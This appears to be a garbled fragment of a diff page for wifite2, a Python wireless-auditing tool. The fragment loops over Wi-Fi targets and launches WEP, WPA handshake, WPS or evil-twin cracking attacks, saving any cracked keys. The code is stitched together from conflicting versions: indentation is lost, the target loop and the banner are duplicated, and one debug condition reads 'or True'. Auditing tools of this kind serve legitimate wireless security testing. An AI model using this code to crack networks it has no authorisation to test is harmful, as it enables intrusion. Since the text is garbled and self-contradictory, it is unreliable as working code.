targets = s.select_targets()
attacked_targets = AttackAll.attack_multiple(targets)
if Configuration.use_eviltwin:
# Ask user to select interface if needed
Configuration.get_eviltwin_interface()
attacked_targets = 0
targets_remaining = len(targets)
for idx, t in enumerate(targets, start=1):
attacked_targets += 1
targets_remaining -= 1
Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
' starting attacks against {C}%s{W} ({C}%s{W})'
% (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
# TODO: Check if Eviltwin attack is selected.
if Configuration.use_eviltwin:
attack = EvilTwinAttack(t, Configuration.interface, Configuration.eviltwin_iface)
elif 'WEP' in t.encryption:
attack = AttackWEP(t)
elif 'WPA' in t.encryption:
# TODO: Move WPS+WPA decision to a combined attack
if t.wps:
attack = AttackWPS(t)
result = False
try:
result = attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or Configuration.print_stack_traces:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining, 1):
break
if result and attack.success:
# We cracked it.
attack.crack_result.save()
continue
else:
# WPS failed, try WPA handshake.
attack = AttackWPA(t)
else:
# Not using WPS, try WPA handshake.
attack = AttackWPA(t)
else:
Color.pl("{!} {R}Error: {O}unable to attack: encryption not WEP or WPA")
continue
try:
attack.run()
except Exception as e:
Color.pl("\n{!} {R}Error: {O}%s" % str(e))
if Configuration.verbose > 0 or True:
Color.pl('\n{!} {O}Full stack trace below')
from traceback import format_exc
Color.p('\n{!} ')
err = format_exc().strip()
err = err.replace('\n', '\n{W}{!} {W} ')
err = err.replace(' File', '{W}{D}File')
err = err.replace(' Exception: ', '{R}Exception: {O}')
Color.pl(err)
except KeyboardInterrupt:
Color.pl('\n{!} {O}interrupted{W}\n')
if not self.user_wants_to_continue(targets_remaining):
break
if attack.success:
attack.crack_result.save()
Color.pl("{+} Finished attacking {C}%d{W} target(s), exiting" % attacked_targets)
def print_banner(self):
""" Displays ASCII art of the highest caliber. """
Color.pl(r'{G} . {GR}{D} {W}{G} . {W}')
Color.pl(r'{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}' % Configuration.version)
Color.pl(r'{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor{W}')
Color.pl(r'{G}`. · `{GR}{D} \ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2{W}')
Color.pl(r'{G} ` {GR}{D}¯¯\{W}{G} ´ {W}')
Color.pl('')
Color.pl('''\
{G} . {GR}{D} {W}{G} . {W}
{G}.´ · .{GR}{D} {W}{G}. · `. {G}wifite {D}%s{W}
{G}: : : {GR}{D} (¯) {W}{G} : : : {W}{D}automated wireless auditor
{G}`. · `{GR}{D} \ {W}{G}´ · .´ {C}{D}https://github.com/derv82/wifite2
{G} ` {GR}{D}/¯¯¯\{W}{G} ´ {W}
''' % Configuration.version)
def user_wants_to_continue(self, targets_remaining, attacks_remaining=0):
''' Asks user if attacks should continue onto other targets '''

File diff suppressed because it is too large Load Diff